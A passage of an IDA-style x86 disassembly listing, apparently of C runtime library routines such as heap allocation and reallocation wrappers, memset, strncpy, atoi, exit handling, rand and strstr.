--------------------------------------------------------------------------- loc_41B2CD: ; CODE XREF: sub_41B2A1+14j cmp eax, 2 jnz short loc_41B2F8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EDF2 add esp, 0Ch test eax, eax jz short loc_41B2F8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EE49 add esp, 0Ch jmp short loc_41B307 ; --------------------------------------------------------------------------- loc_41B2F8: ; CODE XREF: sub_41B2A1+2Fj ; sub_41B2A1+44j push esi loc_41B2F9: ; CODE XREF: sub_41B2A1+20j push 0 push ds:dword_4DF544 call ds:dword_428144 ; RtlFreeHeap loc_41B307: ; CODE XREF: sub_41B2A1+Aj ; sub_41B2A1+2Aj ... pop esi leave retn sub_41B2A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B30A proc near ; CODE XREF: seg000:00401105p ; sub_40F3DD+4Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B32E xor eax, eax jmp loc_41B3D7 ; --------------------------------------------------------------------------- loc_41B32E: ; CODE XREF: sub_41B30A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B341 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B34D ; --------------------------------------------------------------------------- loc_41B341: ; CODE XREF: sub_41B30A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B34D ; --------------------------------------------------------------------------- loc_41B34A: ; CODE XREF: sub_41B30A+C4j mov ecx, [ebp+arg_0] loc_41B34D: ; CODE XREF: sub_41B30A+35j ; sub_41B30A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B37F mov eax, [esi+4] test eax, eax jz short loc_41B37F cmp ecx, eax mov edi, ecx jb short loc_41B364 mov edi, eax loc_41B364: ; CODE XREF: sub_41B30A+56j push edi push dword ptr [esi] push ebx call sub_41C500 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B3CA ; --------------------------------------------------------------------------- loc_41B37F: ; CODE XREF: sub_41B30A+49j ; sub_41B30A+50j cmp ecx, [ebp+arg_C] jb short loc_41B3B2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B395 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B395: ; CODE XREF: sub_41B30A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F33C add esp, 0Ch test eax, eax jz short loc_41B3DC cmp eax, 0FFFFFFFFh jz short loc_41B3E2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B3CA ; --------------------------------------------------------------------------- loc_41B3B2: ; CODE XREF: sub_41B30A+78j push esi call sub_41F263 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B3E6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B3CA: ; CODE XREF: sub_41B30A+73j ; sub_41B30A+A6j cmp [ebp+arg_0], 0 jnz loc_41B34A mov eax, [ebp+arg_8] loc_41B3D7: ; CODE XREF: sub_41B30A+1Fj ; sub_41B30A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B3DC: ; CODE XREF: sub_41B30A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B3E6 ; --------------------------------------------------------------------------- loc_41B3E2: ; CODE XREF: sub_41B30A+9Fj or dword ptr [esi+0Ch], 20h loc_41B3E6: ; CODE XREF: sub_41B30A+B2j ; sub_41B30A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B3D7 sub_41B30A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3F2 proc near ; CODE XREF: seg000:004010EEp ; sub_41D1C3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B40D push [ebp+arg_4] call sub_41B6C5 pop ecx jmp loc_41B68D ; --------------------------------------------------------------------------- loc_41B40D: ; CODE XREF: sub_41B3F2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B422 push [ebp+arg_0] call sub_41B2A1 pop ecx jmp loc_41B68B ; --------------------------------------------------------------------------- loc_41B422: ; CODE XREF: sub_41B3F2+20j mov eax, ds:dword_4DF548 cmp eax, 3 jnz loc_41B532 loc_41B430: ; CODE XREF: sub_41B3F2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B50E push [ebp+arg_0] call sub_41E097 mov ebx, eax pop ecx test ebx, ebx jz loc_41B4E9 cmp esi, ds:dword_4DF540 ja short loc_41B4A2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E8A0 add esp, 0Ch test eax, eax jnz short loc_41B49E push esi call sub_41E3EB mov edi, eax pop ecx test edi, edi jz short loc_41B4A2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B482 mov eax, esi loc_41B482: ; CODE XREF: sub_41B3F2+8Cj push eax push ebx push edi call sub_41C500 push ebx call sub_41E097 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E0C2 add esp, 18h loc_41B49E: ; CODE XREF: sub_41B3F2+74j test edi, edi jnz short loc_41B4E5 loc_41B4A2: ; CODE XREF: sub_41B3F2+62j ; sub_41B3F2+81j test esi, esi jnz short loc_41B4A9 push 1 pop esi loc_41B4A9: ; CODE XREF: sub_41B3F2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_4DF544 call ds:dword_428148 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B4E5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B4D1 mov eax, esi loc_41B4D1: ; CODE XREF: sub_41B3F2+DBj push eax push ecx push edi call sub_41C500 push [ebp+arg_0] push ebx call sub_41E0C2 add esp, 14h loc_41B4E5: ; CODE XREF: sub_41B3F2+AEj ; sub_41B3F2+D0j test ebx, ebx jnz short loc_41B50A loc_41B4E9: ; CODE XREF: sub_41B3F2+56j test esi, esi jnz short loc_41B4F0 push 1 pop esi loc_41B4F0: ; CODE XREF: sub_41B3F2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push ds:dword_4DF544 call ds:dword_42819C ; RtlReAllocateHeap mov edi, eax loc_41B50A: ; CODE XREF: sub_41B3F2+F5j test edi, edi jnz short loc_41B52B loc_41B50E: ; CODE XREF: sub_41B3F2+43j cmp ds:dword_4DDF3C, 0 jz short loc_41B52B push esi call sub_41F532 test eax, eax pop ecx jnz loc_41B430 jmp loc_41B68B ; --------------------------------------------------------------------------- loc_41B52B: ; CODE XREF: sub_41B3F2+11Aj ; sub_41B3F2+123j ... mov eax, edi jmp loc_41B68D ; --------------------------------------------------------------------------- loc_41B532: ; CODE XREF: sub_41B3F2+38j cmp eax, 2 jnz loc_41B64D cmp esi, 0FFFFFFE0h ja short loc_41B54F test esi, esi jbe short loc_41B54C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B3F2+150j push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B3F2+14Cj ; sub_41B3F2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B62F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EDF2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B613 cmp esi, ds:dword_43EF84 jnb short loc_41B5D7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F1BA add esp, 10h test eax, eax jz short loc_41B59D mov edi, [ebp+arg_0] jmp short loc_41B5CF ; --------------------------------------------------------------------------- loc_41B59D: ; CODE XREF: sub_41B3F2+1A4j push edi call sub_41EE8E mov edi, eax pop ecx test edi, edi jz short loc_41B5D7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B5B6 mov eax, esi loc_41B5B6: ; CODE XREF: sub_41B3F2+1C0j push eax push [ebp+arg_0] push edi call sub_41C500 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EE49 add esp, 18h loc_41B5CF: ; CODE XREF: sub_41B3F2+1A9j test edi, edi jnz loc_41B52B loc_41B5D7: ; CODE XREF: sub_41B3F2+18Bj ; sub_41B3F2+1B6j push esi push 0 push ds:dword_4DF544 call ds:dword_428148 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41B62F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B5F8 mov eax, esi loc_41B5F8: ; CODE XREF: sub_41B3F2+202j push eax push [ebp+arg_0] push edi call sub_41C500 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EE49 add esp, 18h jmp short loc_41B627 ; --------------------------------------------------------------------------- loc_41B613: ; CODE XREF: sub_41B3F2+17Fj push esi push [ebp+arg_0] push 0 push ds:dword_4DF544 call ds:dword_42819C ; RtlReAllocateHeap mov edi, eax loc_41B627: ; CODE XREF: sub_41B3F2+21Fj test edi, edi jnz loc_41B52B loc_41B62F: ; CODE XREF: sub_41B3F2+162j ; sub_41B3F2+1F8j cmp ds:dword_4DDF3C, 0 jz loc_41B52B push esi call sub_41F532 test eax, eax pop ecx jnz loc_41B54F jmp short loc_41B68B ; --------------------------------------------------------------------------- loc_41B64D: ; CODE XREF: sub_41B3F2+143j ; sub_41B3F2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B677 test esi, esi jnz short loc_41B65B push 1 pop esi loc_41B65B: ; CODE XREF: sub_41B3F2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push ds:dword_4DF544 call ds:dword_42819C ; RtlReAllocateHeap test eax, eax jnz short loc_41B68D loc_41B677: ; CODE XREF: sub_41B3F2+260j cmp ds:dword_4DDF3C, 0 jz short loc_41B68D push esi call sub_41F532 test eax, eax pop ecx jnz short loc_41B64D loc_41B68B: ; CODE XREF: sub_41B3F2+2Bj ; sub_41B3F2+134j ... xor eax, eax loc_41B68D: ; CODE XREF: sub_41B3F2+16j ; sub_41B3F2+13Bj ... pop edi pop esi pop ebx leave retn sub_41B3F2 endp ; =============== S U B R O U T I N E ======================================= sub_41B692 proc near ; CODE XREF: sub_41B6B2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F6BD test eax, eax jnz short loc_41B69C retn ; --------------------------------------------------------------------------- loc_41B69C: ; CODE XREF: sub_41B692+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F54D add esp, 10h retn sub_41B692 endp ; =============== S U B R O U T I N E ======================================= sub_41B6B2 proc near ; CODE XREF: seg000:004010DAp ; seg000:00407326p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B692 add esp, 0Ch retn sub_41B6B2 endp ; =============== S U B R O U T I N E ======================================= sub_41B6C5 proc near ; CODE XREF: seg000:004010C8p ; sub_40AA20+5Fp ... arg_0 = dword ptr 4 push ds:dword_4DDF3C push [esp+4+arg_0] call sub_41B6D7 pop ecx pop ecx retn sub_41B6C5 endp ; =============== S U B R O U T I N E ======================================= sub_41B6D7 proc near ; CODE XREF: sub_41B6C5+Ap ; sub_41D1B5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B700 loc_41B6DE: ; CODE XREF: sub_41B6D7+27j push [esp+arg_0] call sub_41B703 test eax, eax pop ecx jnz short locret_41B702 cmp [esp+arg_4], eax jz short locret_41B702 push [esp+arg_0] call sub_41F532 test eax, eax pop ecx jnz short loc_41B6DE loc_41B700: ; CODE XREF: sub_41B6D7+5j xor eax, eax locret_41B702: ; CODE XREF: sub_41B6D7+13j ; sub_41B6D7+19j retn sub_41B6D7 endp ; =============== S U B R O U T I N E ======================================= sub_41B703 proc near ; CODE XREF: sub_41B6D7+Bp arg_0 = dword ptr 4 mov eax, ds:dword_4DF548 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B727 cmp esi, ds:dword_4DF540 ja short loc_41B759 push esi call sub_41E3EB test eax, eax pop ecx jz short loc_41B759 pop esi retn ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B703+Dj cmp eax, 2 jnz short loc_41B759 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B73C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B73F ; --------------------------------------------------------------------------- loc_41B73C: ; CODE XREF: sub_41B703+2Fj push 10h pop esi loc_41B73F: ; CODE XREF: sub_41B703+37j cmp esi, ds:dword_43EF84 ja short loc_41B766 mov eax, esi shr eax, 4 push eax call sub_41EE8E test eax, eax pop ecx jnz short loc_41B775 jmp short loc_41B766 ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B703+15j ; sub_41B703+20j ... test esi, esi jnz short loc_41B760 push 1 pop esi loc_41B760: ; CODE XREF: sub_41B703+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B766: ; CODE XREF: sub_41B703+42j ; sub_41B703+54j push esi push 0 push ds:dword_4DF544 call ds:dword_428148 ; RtlAllocateHeap loc_41B775: ; CODE XREF: sub_41B703+52j pop esi retn sub_41B703 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B780 proc near ; CODE XREF: sub_401132+3Cp ; sub_401132+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B7D3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B7C7 neg ecx and ecx, 3 jz short loc_41B7A9 sub edx, ecx loc_41B7A3: ; CODE XREF: sub_41B780+27j mov [edi], al inc edi dec ecx jnz short loc_41B7A3 loc_41B7A9: ; CODE XREF: sub_41B780+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B7C7 rep stosd test edx, edx jz short loc_41B7CD loc_41B7C7: ; CODE XREF: sub_41B780+18j ; sub_41B780+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B7C7 loc_41B7CD: ; CODE XREF: sub_41B780+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B7D3: ; CODE XREF: sub_41B780+Aj mov eax, [esp+arg_0] retn sub_41B780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401875+98p ; seg000:00401B9Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B863 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B804 shr ecx, 2 jnz short loc_41B871 jmp short loc_41B825 ; --------------------------------------------------------------------------- loc_41B804: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B832 test al, al jz short loc_41B83A test esi, 3 jnz short loc_41B804 mov ebx, ecx shr ecx, 2 jnz short loc_41B871 loc_41B820: ; CODE XREF: sub_41B7E0+8Fj and ebx, 3 jz short loc_41B832 loc_41B825: ; CODE XREF: sub_41B7E0+22j ; sub_41B7E0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B85E dec ebx jnz short loc_41B825 loc_41B832: ; CODE XREF: sub_41B7E0+2Bj ; sub_41B7E0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B83A: ; CODE XREF: sub_41B7E0+2Fj test edi, 3 jz short loc_41B854 loc_41B842: ; CODE XREF: sub_41B7E0+72j mov [edi], al inc edi dec ecx jz loc_41B8D6 test edi, 3 jnz short loc_41B842 loc_41B854: ; CODE XREF: sub_41B7E0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B8C7 loc_41B85B: ; CODE XREF: sub_41B7E0+7Fj ; sub_41B7E0+F4j mov [edi], al inc edi loc_41B85E: ; CODE XREF: sub_41B7E0+4Dj dec ebx jnz short loc_41B85B pop ebx pop esi loc_41B863: ; CODE XREF: sub_41B7E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B869: ; CODE XREF: sub_41B7E0+A9j ; sub_41B7E0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B820 loc_41B871: ; CODE XREF: sub_41B7E0+20j ; sub_41B7E0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B869 test dl, dl jz short loc_41B8BB test dh, dh jz short loc_41B8B1 test edx, 0FF0000h jz short loc_41B8A7 test edx, 0FF000000h jnz short loc_41B869 mov [edi], edx jmp short loc_41B8BF ; --------------------------------------------------------------------------- loc_41B8A7: ; CODE XREF: sub_41B7E0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B8BF ; --------------------------------------------------------------------------- loc_41B8B1: ; CODE XREF: sub_41B7E0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B8BF ; --------------------------------------------------------------------------- loc_41B8BB: ; CODE XREF: sub_41B7E0+ADj xor edx, edx mov [edi], edx loc_41B8BF: ; CODE XREF: sub_41B7E0+C5j ; sub_41B7E0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B8D1 loc_41B8C7: ; CODE XREF: sub_41B7E0+79j xor eax, eax loc_41B8C9: ; CODE XREF: sub_41B7E0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B8C9 loc_41B8D1: ; CODE XREF: sub_41B7E0+E5j and ebx, 3 jnz short loc_41B85B loc_41B8D6: ; CODE XREF: sub_41B7E0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B7E0 endp ; =============== S U B R O U T I N E ======================================= sub_41B8DE proc near ; CODE XREF: sub_41B969+4p ; sub_424A3C+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B8E6: ; CODE XREF: sub_41B8DE+34j cmp ds:dword_43F194, 1 jle short loc_41B8FE movzx eax, byte ptr [edi] push 8 push eax call sub_41F735 pop ecx pop ecx jmp short loc_41B90D ; --------------------------------------------------------------------------- loc_41B8FE: ; CODE XREF: sub_41B8DE+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_43EF88 mov al, [ecx+eax*2] and eax, 8 loc_41B90D: ; CODE XREF: sub_41B8DE+1Ej test eax, eax jz short loc_41B914 inc edi jmp short loc_41B8E6 ; --------------------------------------------------------------------------- loc_41B914: ; CODE XREF: sub_41B8DE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B924 cmp esi, 2Bh jnz short loc_41B928 loc_41B924: ; CODE XREF: sub_41B8DE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B928: ; CODE XREF: sub_41B8DE+44j xor ebx, ebx loc_41B92A: ; CODE XREF: sub_41B8DE+7Bj cmp ds:dword_43F194, 1 jle short loc_41B93F push 4 push esi call sub_41F735 pop ecx pop ecx jmp short loc_41B94A ; --------------------------------------------------------------------------- loc_41B93F: ; CODE XREF: sub_41B8DE+53j mov eax, ds:off_43EF88 mov al, [eax+esi*2] and eax, 4 loc_41B94A: ; CODE XREF: sub_41B8DE+5Fj test eax, eax jz short loc_41B95B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B92A ; --------------------------------------------------------------------------- loc_41B95B: ; CODE XREF: sub_41B8DE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B964 neg eax loc_41B964: ; CODE XREF: sub_41B8DE+82j pop edi pop esi pop ebp pop ebx retn sub_41B8DE endp ; =============== S U B R O U T I N E ======================================= sub_41B969 proc near ; CODE XREF: seg000:004021F3p ; seg000:00402457p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B8DE pop ecx retn sub_41B969 endp ; =============== S U B R O U T I N E ======================================= sub_41B974 proc near ; CODE XREF: seg000:0041DBE6p mov eax, ds:off_43CF2C test eax, eax jz short loc_41B97F call eax ; sub_41C938 loc_41B97F: ; CODE XREF: sub_41B974+7j push offset dword_42A030 push offset dword_42A01C call sub_41BA5C push offset dword_42A018 push offset dword_42A000 call sub_41BA5C add esp, 10h retn sub_41B974 endp ; =============== S U B R O U T I N E ======================================= sub_41B9A1 proc near ; CODE XREF: seg000:0041DC25p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41B9C3 add esp, 0Ch retn sub_41B9A1 endp ; =============== S U B R O U T I N E ======================================= sub_41B9B2 proc near ; CODE XREF: seg000:0041DC44p ; sub_41DC49+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B9C3 add esp, 0Ch retn sub_41B9B2 endp ; =============== S U B R O U T I N E ======================================= sub_41B9C3 proc near ; CODE XREF: sub_41B9A1+8p ; sub_41B9B2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp ds:dword_4DDEFC, edi jnz short loc_41B9E0 push [esp+4+arg_0] call near ptr 0B10000h sbb edx, [eax-18h] and [esi+6Fh], eax add dl, ch loc_41B9E0: ; CODE XREF: sub_41B9C3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov ds:dword_4DDEF8, edi mov ds:byte_4DDEF4, bl jnz short loc_41BA34 mov eax, ds:dword_4DF55C test eax, eax jz short loc_41BA23 mov ecx, ds:dword_4DF558 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41BA22 loc_41BA0F: ; CODE XREF: sub_41B9C3+5Dj mov eax, [esi] test eax, eax jz short loc_41BA17 call eax loc_41BA17: ; CODE XREF: sub_41B9C3+50j sub esi, 4 cmp esi, ds:dword_4DF55C jnb short loc_41BA0F loc_41BA22: ; CODE XREF: sub_41B9C3+4Aj pop esi loc_41BA23: ; CODE XREF: sub_41B9C3+3Cj push offset dword_42A03C push offset dword_42A034 call sub_41BA5C pop ecx pop ecx loc_41BA34: ; CODE XREF: sub_41B9C3+33j push offset dword_42A048 push offset dword_42A040 call sub_41BA5C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41BA5A push [esp+4+arg_0] mov ds:dword_4DDEFC, edi call ds:dword_428068 ; ExitProcess loc_41BA5A: ; CODE XREF: sub_41B9C3+85j pop edi retn sub_41B9C3 endp ; =============== S U B R O U T I N E ======================================= sub_41BA5C proc near ; CODE XREF: sub_41B974+15p ; sub_41B974+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41BA61: ; CODE XREF: sub_41BA5C+16j cmp esi, [esp+4+arg_4] jnb short loc_41BA74 mov eax, [esi] test eax, eax jz short loc_41BA6F call eax loc_41BA6F: ; CODE XREF: sub_41BA5C+Fj add esi, 4 jmp short loc_41BA61 ; --------------------------------------------------------------------------- loc_41BA74: ; CODE XREF: sub_41BA5C+9j pop esi retn sub_41BA5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA76 proc near ; CODE XREF: sub_4019DB+5Bp ; seg000:00401E66p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F8BF add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41BAB6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41BAC3 ; --------------------------------------------------------------------------- loc_41BAB6: ; CODE XREF: sub_41BA76+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F7AA pop ecx pop ecx loc_41BAC3: ; CODE XREF: sub_41BA76+3Ej mov eax, esi pop esi leave retn sub_41BA76 endp ; =============== S U B R O U T I N E ======================================= sub_41BAC8 proc near ; CODE XREF: seg000:0040127Bp ; seg000:00404CB8p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_43CF10, eax retn sub_41BAC8 endp ; =============== S U B R O U T I N E ======================================= sub_41BAD2 proc near ; CODE XREF: seg000:loc_40285Dp ; seg000:00404FD1p ... mov eax, ds:dword_43CF10 imul eax, 343FDh add eax, 269EC3h mov ds:dword_43CF10, eax sar eax, 10h and eax, 7FFFh retn sub_41BAD2 endp ; =============== S U B R O U T I N E ======================================= sub_41BAF0 proc near ; CODE XREF: seg000:00401BD6p ; seg000:00401D81p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41BB6A mov dh, [ecx+1] test dh, dh jz short loc_41BB57 loc_41BB08: ; CODE XREF: sub_41BAF0+52j ; sub_41BAF0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41BB2A test al, al jz short loc_41BB24 loc_41BB19: ; CODE XREF: sub_41BAF0+32j mov al, [esi] inc esi loc_41BB1C: ; CODE XREF: sub_41BAF0+3Fj cmp al, dl jz short loc_41BB2A test al, al jnz short loc_41BB19 loc_41BB24: ; CODE XREF: sub_41BAF0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41BB2A: ; CODE XREF: sub_41BAF0+23j ; sub_41BAF0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41BB1C lea edi, [esi-1] loc_41BB34: ; CODE XREF: sub_41BAF0+63j mov ah, [ecx+2] test ah, ah jz short loc_41BB63 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41BB08 mov al, [ecx+3] test al, al jz short loc_41BB63 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41BB34 jmp short loc_41BB08 ; --------------------------------------------------------------------------- loc_41BB57: ; CODE XREF: sub_41BAF0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C1A6 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BAF0+49j ; sub_41BAF0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41BB6A: ; CODE XREF: sub_41BAF0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41BAF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB70 proc near ; CODE XREF: seg000:004036E6p ; seg000:00403717p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F8BF add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41BBAF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41BBBC ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BB70+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F7AA pop ecx pop ecx loc_41BBBC: ; CODE XREF: sub_41BB70+3Dj mov eax, esi pop esi leave retn sub_41BB70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBC1 proc near ; CODE XREF: seg000:00403C38p ; sub_41AC18+1E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B1D0 cmp eax, 1 pop ecx jb short loc_41BBFC cmp byte ptr [ebx+1], 3Ah jnz short loc_41BBFC mov esi, [ebp+arg_4] test esi, esi jz short loc_41BBF8 push 2 push ebx push esi call sub_4204A9 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BBF8: ; CODE XREF: sub_41BBC1+25j inc ebx inc ebx jmp short loc_41BC06 ; --------------------------------------------------------------------------- loc_41BBFC: ; CODE XREF: sub_41BBC1+18j ; sub_41BBC1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BC06 and byte ptr [eax], 0 